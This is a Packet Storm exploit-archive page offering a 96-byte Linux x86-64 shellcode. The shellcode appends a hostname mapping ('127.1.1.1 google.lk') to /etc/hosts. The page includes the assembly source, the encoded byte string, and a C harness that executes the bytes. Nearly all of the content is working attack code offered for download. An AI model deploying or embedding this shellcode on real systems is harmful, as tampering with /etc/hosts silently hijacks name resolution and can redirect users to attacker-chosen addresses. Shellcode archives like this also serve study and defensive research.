Exploit the possiblities

Linux/x86-64 Add Mapping In /etc/hosts Shellcode

Linux/x86-64 Add Mapping In /etc/hosts Shellcode
Posted Jan 12, 2018
Authored by 0x4ndr3

96 bytes small Linux/x86-64 add mapping (127.1.1.1 google.lk) in /etc/hosts shellcode.

tags | x86, shellcode
systems | linux
MD5 | 58571c81a05ae0a8e172b90ba5bfe997

Linux/x86-64 Add Mapping In /etc/hosts Shellcode

Change Mirror Download
/*
global _start
section .text
_start:
;open
push 2
pop rax
xor rdi, rdi
push rdi ; 0x00
mov rbx, 0x7374736f682f2f2f ; ///hosts
push rbx
mov rbx, 0x2f2f2f2f6374652f ; /etc////
push rbx
push rsp
pop rdi
xor rsi,rsi
mov sil,4
sal rsi,8
mov sil,1
syscall
;write
push rax
pop rdi
push 1
pop rax
jmp data
write:
pop rsi
push len ; length in rdx
pop rdx
syscall
;close
push 3
pop rax
syscall
;exit
push 60
pop rax
xor rdi, rdi
syscall
data:
call write
text db '127.1.1.1 google.lk'
len equ $-text
*/

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x02\x58\x48\x31\xff\x57\x48\xbb\x2f\x2f\x2f\x68\x6f\x73\x74\x73\x53\x48\xbb\x2f\x65\x74\x63\x2f\x2f\x2f\x2f\x53\x54\x5f\x48\x31\xf6\x40\xb6\x04\x48\xc1\xe6\x08\x40\xb6\x01\x0f\x05\x50\x5f\x6a\x01\x58\xeb\x13\x5e\x6a\x13\x5a\x0f\x05\x6a\x03\x58\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05\xe8\xe8\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x6c\x6b";
void main()
{
printf("Shellcode Length: %lu\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close